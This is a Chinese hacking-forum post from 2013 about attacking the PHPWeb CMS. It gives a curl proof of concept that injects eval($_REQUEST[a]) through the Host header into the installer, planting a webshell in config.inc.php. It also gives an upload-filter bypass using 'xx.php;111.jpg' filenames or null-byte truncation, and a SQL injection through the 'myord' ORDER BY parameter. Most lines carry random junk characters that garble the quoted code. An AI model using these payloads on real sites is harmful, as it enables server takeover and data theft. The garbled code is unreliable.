找回密码
 立即注册
查看: 2777|回复: 0
打印 上一主题 下一主题

phpweb成品网站最新版(注入、上传、写shell)

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-4 19:45:35 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
注入:6 v8 ~/ j. S' L- g

/ s+ u' H1 d- I% u- w/ Q之所以鸡肋就是该漏洞利用安装文件 重新生成 配置文件 写入可执行代码& x4 Y& ]- k8 w' p. A% |
0 o+ @; C, J/ d5 a6 p( P3 R7 T0 o
鸡肋1: 具有破坏性 动作非常大 重新写了配置文件 数据库连接文件
( I4 C+ t+ H, z9 k$ \8 g$ ?鸡肋2: 有一定安全常识的站长都会删掉 install 目录
- K8 b: T6 i" O0 o   ~  ?8 f+ q$ `5 h/ A. r
虽然鸡肋 但也有优点 : 不受 magic_quotes_gpc 、 webserver 影响: a* d; q! a( b* b1 D
- F, U* V  m4 u# f: W% N
分析:9 x& p; x2 {  B- B5 W
& G5 j5 W! S4 o
, p/ {( u6 R' Q2 z! `9 V3 q7 u
$siteurl="http://".$_SERVER["HTTP_HOST"]."/";    //未过滤
+ k" Q- k2 k0 e4 \ " w8 U* A, C$ c1 P) W6 M$ n
                                            $filestr = fread(fopen($SysConfigFile, 'r'),30000);  g, z5 |9 q& p; j! _9 y* J/ t; o- d
                                            $filestr=str_replace(" ","",$filestr);
( Y6 Y6 E8 }& Z                                            $filestr=str_replace("DefaultDbHost",$dbhost,$filestr);
. U- {& C6 K# Q) i  u1 Y" ~                                            $filestr=str_replace("DefaultDbName",$dbname,$filestr);
. T9 X$ {2 Y) V  U2 e% _6 v+ p                                            $filestr=str_replace("DefaultDbUser",$dbuser,$filestr);; L. v! |0 R' E4 H
                                            $filestr=str_replace("DefaultDbPass",$dbpwd,$filestr);
4 K- _) K0 t- Y                                            $filestr=str_replace("DefaultsLan","zh_cn",$filestr);
) }4 L  p" a# C0 [6 x( L+ p6 Z                                            $filestr=str_replace("DefaultTablePre",$tablepre,$filestr);
9 u9 y9 g* V. Q' R3 o( S4 I                                            $filestr=str_replace("DefaultSiteUrl",$siteurl,$filestr);- y. D% y" e& \5 \
3 |% @8 |! r. i. N3 ~- j+ ]% }, N
                                            fwrite(fopen($ConFile,"w"),$filestr,30000);
* {/ K  k( z3 l, c5 D& P1 w$_SERVER["HTTP_HOST"] 就是 http head 中HOST传递过来的 可控制,并且不受 magic_quotes_gpc 影响 ^ _ ^5 G$ H, \# U- {& T( y
+ _( [6 l7 i( r) D7 h; Y; i5 w& k% M
poc:8 ?& W2 K( k7 i0 p: z! Z; a. k- v$ ~9 K
1 K' d! ^! f6 v" z* ^; ^9 ~
?1 W- a, m+ f7 L$ @$ _
1* q% S) Q! _; |: Y* L9 Z- O. j
curl http://fuck.0day5.com/base/install/index.php --data "dbhost=localhost&dbname=phpweb&dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command=gonext&alertmsg=&username=" --header "HOST:localhost\";eval($_REQUEST[a]);#"% [/ G% ]7 ~9 u5 B% ?; g
shell地址: /config.inc.php# {# V6 s' e0 H
跟之前的 phpcms一样 需要远程数据库; C6 S, B& v! }5 O: t1 A) w
9 T' i0 c! r! L% I  I, ?7 @5 Q% k
——————————————————–; C8 O$ z3 P* ?" V
上传漏洞(需要进后台):" h. E! v% q( M% W2 ^2 _  z
漏洞文件: /kedit/upload_cgi/upload.php& P0 L- G' ^% ~/ C9 T/ k1 K
这个很多人都知道,但是很鸡肋 iis6 解析 或 GPC off条件下才可利用8 {  `8 u3 l0 ?$ B0 e* {

  l, ~$ I- @$ ?. m; n+ l
0 L; l$ G+ w& e" j8 U- E<?php5 B6 v, ^. p  {( ~" \) D% L
    define("ROOTPATH", "../../");
, h5 e. h: Y6 s: D1 C    include(ROOTPATH."includes/admin.inc.php");! F2 y4 f: M3 ?% ^* n" F, P
    NeedAuth(0);( D' \7 S) }$ h. x5 L" ~

* {: L: ~: l) ~* _+ e8 e! A- C    $dt=date("Ymd",time());
4 Q' l' Y; s' u& e, R$ ?: t+ A    if(!is_dir(ROOTPATH.$_POST['attachPath'].$dt)){
( ]' S9 F1 J6 @" k            @mkdir(ROOTPATH.$_POST['attachPath'].$dt,0777);7 c; P' d: f0 h0 W5 ]
    }
& r) c+ @, v( z" l* y 1 Y3 ?  M. _! K% F; X
    //文件保存目录路径
: q( _: ~, d+ Q    $save_path = ROOTPATH.$_POST['attachPath'].$dt.'/';
: B2 J; }+ T# i) {9 A    echo $save_path;) U  ], {" `. ~; l6 a$ s) \( t
    //文件保存目录URL
! Q- w8 N8 H2 U) h2 ^) L9 F    $save_url = '../../'.$_POST['attachPath'].$dt.'/';
, [+ d4 E, j! S# f% v + d+ E' m. Q& ~0 t0 U7 z( ]
    //定义允许上传的文件扩展名1 R8 F& U4 U+ q& d' [( h( R# k$ Z9 k
    $ext_arr = array('gif','jpg','png','bmp'); //限制后缀
/ ~( `, ~6 W) L- V5 X+ e" n
% Z# L& G/ v; y- p* W( F4 M    //最大文件大小
( F0 @. P( Z0 v( P% ], s    $max_size = 1000000;* N6 F: o2 u3 R4 u# A" C. T5 |4 P

7 ]/ F8 p1 f/ X    //更改目录权限
! M' V! B9 `  A% c2 K, Q    @mkdir($save_path, 0777);
6 t, q% ]" X2 v" c
; S2 T4 c0 a/ X; b    //文件的全部路径, s) z: B4 v" U. S' ]/ v0 r- ]$ f  n
    $file_path = $save_path.$_POST['fileName'];   //保存文件名/ j7 a( |( g/ Q: E" D3 a0 _
0 @1 I5 w$ ~$ ?' q
    //文件URL1 Y& v7 Y# h! _3 W, W& m# \
    $file_url = $save_url.$_POST['fileName'];
7 j3 M# i2 r7 j4 O+ }* v8 o# g$ V//有上传文件时4 R/ l+ `2 ~2 h# |
    if (empty($_FILES) === false) {7 l, V! U9 A* Z# U9 z, A7 S$ g
: g' x' _# k. @) M; U3 W
            //原文件名
1 O" P9 F  @1 C. \; B% a9 {            $file_name = $_FILES['fileData']['name'];
8 e; ]+ O0 ?2 n1 Q+ p            //服务器上临时文件名: c* Y9 ]/ ?! D1 m
            $tmp_name = $_FILES['fileData']['tmp_name'];
) Z7 P2 c5 d: k- }& _0 L4 b            //文件大小
2 |# e& t1 u5 {! V4 v& E            $file_size = $_FILES['fileData']['size'];
1 K+ D$ L1 F5 H: |* `7 b            //检查目录4 h0 i' u) {0 U$ c( I
            if (@is_dir($save_path) === false) {. C4 n' a& D) ^  ~+ {) ]0 S3 A8 k
                    alert("上传目录不存在。");
. H5 F9 h) K* T) u            }
+ m, q0 U7 a2 f- P            //检查目录写权限
6 d" e: Y$ S+ c) k, t" G            if (@is_writable($save_path) === false) {. A4 j! @3 m1 Y! F# A7 Y+ ~4 [
                    alert("上传目录没有写权限。");; k  ^2 N0 v# \8 F
            }
; E: @# D% G- z7 n- z/ Y            //检查是否已上传5 J0 A$ o- A/ t6 F5 w6 r
            if (@is_uploaded_file($tmp_name) === false) {
" |3 L2 a+ h  r; l* ^- r                    alert("临时文件可能不是上传文件。");2 _6 _* t" }2 V% G; o* e, ^
            }* O1 W0 |3 W, e
            //检查文件大小
* a4 ]4 u4 f/ N  k            if ($file_size > $max_size) {
3 ~* c& }: d2 @                    alert("上传文件大小超过限制。");
; Z& ]0 c& |  o# L/ q8 n            }1 ^  B* i- _% }# W" u
            //获得文件扩展名
4 P3 s  ~" s" J0 J7 }& m% P            $temp_arr = explode(".", $_POST['fileName']);0 J- k3 W& T: q
            $file_ext = array_pop($temp_arr);
: t8 W$ J0 w  I3 ]' @9 e            $file_ext = trim($file_ext);
4 x: x( n6 [1 h3 Y, ^" T            $file_ext = strtolower($file_ext);
6 O4 d* Z+ R$ j' |. i5 S' i5 N 7 H: N6 z7 i  e3 G! n$ K
            //检查扩展名   
3 J6 }* u! b% o2 L6 }* |) b' W/ e            if (in_array($file_ext, $ext_arr) === false) {     3 K* ?/ B8 F$ W! ^/ a1 H% Q
                    alert("上传文件扩展名是不允许的扩展名。");
' E& i# S/ c5 ~" i! F# C/ D4 O            }; D; e: r; v8 O
% L" ?5 _2 w& F) n
            //移动文件   : K# B) j* g& V
            //未重命名 虽然过滤了 后缀   iis 6解析漏洞 ^ _ ^
- h# P" f0 {& i4 S& a            if (move_uploaded_file($tmp_name, $file_path) === false) {
. \" T/ m5 I; B1 r                    alert("上传文件失败。");  e+ ^9 a  D6 P6 j
            }
  G7 @5 I5 c1 {) I# d' {# Q. u0 j
" |' k  d1 j% U( b* s/ w1 ^            @chmod($file_path,0666);
0 R+ i6 U$ g. R7 J4 ]2 h2 \2 Z+ g- j
) O. C* h. t+ j+ Y) E" L    ?>/ I" \$ B% l  S2 W, P/ |
抓包改包 filename 改为 xx.php;111.jpg 即可突破或者使用http://www.0day5.com/?p=2279 y6 `5 p* c, m% i: z+ E6 ^
9 y0 w! X$ V! I# n5 ]8 K6 f/ k
apache 版本magic_quotes_gpc = off情况下可以考虑 \00 截断 绕过: E! j4 D2 G/ H& ^* G
8 Y1 O7 ~+ S0 Y$ N9 `9 i$ F; F
——————————————————, N4 @; f+ w# A' z% @
注入漏洞:" d/ m3 }8 `6 C3 s3 v
漏洞文件:search/module/search.php* o2 D1 |, i; W5 v0 a
/search/index.php?key=1&myord=1 [sqlinjection]
( B2 d2 g) z; h 9 j# i: e& _  z" O5 ^- U1 W

) L2 ?* O8 c) \* m- `+ Q8 M<?php* ^* {, j" @5 \2 _+ m4 l# o: ~
   //       ... 省略 n 行...
/ H+ n, B3 f) V- K: N  p; v   //第18行:
" ?9 L3 z* G" [" N' X           $key=htmlspecialchars($_GET["key"]);   //只是简单的将字符HTML 实体 编码   , mysql 注入不受此影响4 ^( i+ l( l. P- n* f9 b) F
           $page=htmlspecialchars($_GET["page"]);
! D1 J; d( M) ]$ Q# M. K  j0 t           $myord=htmlspecialchars($_GET["myord"]);( b2 K! Z' m& ?6 }3 m# Y9 {
" N2 [  a/ E. C" H0 x1 |
   //       ... 省略 n 行...0 L! ~8 c8 I4 G
   $key,$myord 两个参数带入查询
* U( n0 U4 f9 b5 k4 F4 B0 B   //第47行 $key:( p1 L2 @$ Q6 O- ]4 C: `) _" F( Y
7 B7 M( ~' W; I7 I( ^4 }& e; K5 |9 z
   $fsql->query("select count(id) from {P}_news_con where iffb='1' and catid!='0' and (title regexp '$key' or body regexp '$key')");  //虽然带入查询 但使用的 是regexp 不知如何绕过..
( r) R9 j$ ?# d/ g% t* J1 }$ b
, W$ T( G* V* `/ e   //第197行 $myord; ~6 w; M) q5 g: C7 P' n
   $fsql->query($scl . " order by $myord desc limit $pagelimit ");    产生注入
. ?) Z% H! v1 k; X* R$ `
6 k$ @1 I$ H6 R   ?>
4 B+ Z- ^4 ?+ R6 A1 W' M+ H8 }
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表